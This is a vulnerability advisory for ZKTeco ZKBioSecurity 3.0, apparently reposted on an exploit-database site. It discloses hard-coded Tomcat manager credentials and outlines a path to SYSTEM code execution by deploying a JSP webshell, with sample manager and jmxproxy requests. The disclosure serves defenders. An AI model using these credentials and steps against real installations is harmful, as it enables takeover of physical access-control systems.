ZKTeco ZKBioSecurity 3.0 Hardcoded Credentials Remote SYSTEM Code Execution Vendor: ZKTeco Inc. | Xiamen ZKTeco Biometric Identification Technology Co.,ltd Product web page: http://www.zkteco.com Affected version: 3.0.1.0_R_230 Platform: 3.0.1.0_R_230 Personnel: 1.0.1.0_R_1916 Access: 6.0.1.0_R_1757 Elevator: 2.0.1.0_R_777 Visitor: 2.0.1.0_R_877 Video:2.0.1.0_R_489 Adms: 1.0.1.0_R_197 Summary: ZKBioSecurity3.0 is the ultimate "All in One" web based security platform developed by ZKTeco. It contains four integrated modules: access control, video linkage, elevator control and visitor management. With an optimized system architecture designed for high level biometric identification and a modern-user friendly UI, ZKBioSecurity 3.0 provides the most advanced solution for a whole new user experience. Desc: The ZKBioSecurity solution suffers from a use of hard-coded credentials. The application comes bundled with a pre-configured apache tomcat server and an exposed 'manager' application that after authenticating with the credentials: username: zkteco, password: zkt123, located in tomcat-users.xml file, it allows malicious WAR archive containing a JSP application to be uploaded, thus giving the attacker the ability to execute arbitrary code with SYSTEM privileges. Ref: https://www.exploit-db.com/exploits/31433/ Tested on: Microsoft Windows 7 Ultimate SP1 (EN) Microsoft Windows 7 Professional SP1 (EN) Apache-Coyote/1.1 Apache Tomcat/7.0.56 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2016-5362 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5362.php 18.07.2016 -- Contents of tomcat-users.xml: ----------------------------- C:Program Files (x86)BioSecurityMainResourcetomcatconftomcat-users.xml: ... ... ... ----------------------------- Open Manager application and login: ----------------------------------- http://127.0.0.1:8088/manager (zkteco:zkt123) Deploy JSP webshell, issue command: ----------------------------------- - Request: whoami - Response: nt authoritysystem call the findConnectors() method of the Service use: ---------------------------------------------------- http://127.0.0.1:8088/manager/jmxproxy/?invoke=Catalina%3Atype%3DService&op=findConnectors&ps= Response: OK - Operation findConnectors returned: Connector[HTTP/1.1-8088] Connector[AJP/1.3-8019] List of all loaded servlets: ---------------------------- http://127.0.0.1:8088/manager/jmxproxy/?j2eeType=Servlet # Iranian Exploit DataBase = http://IeDb.Ir [2016-08-31]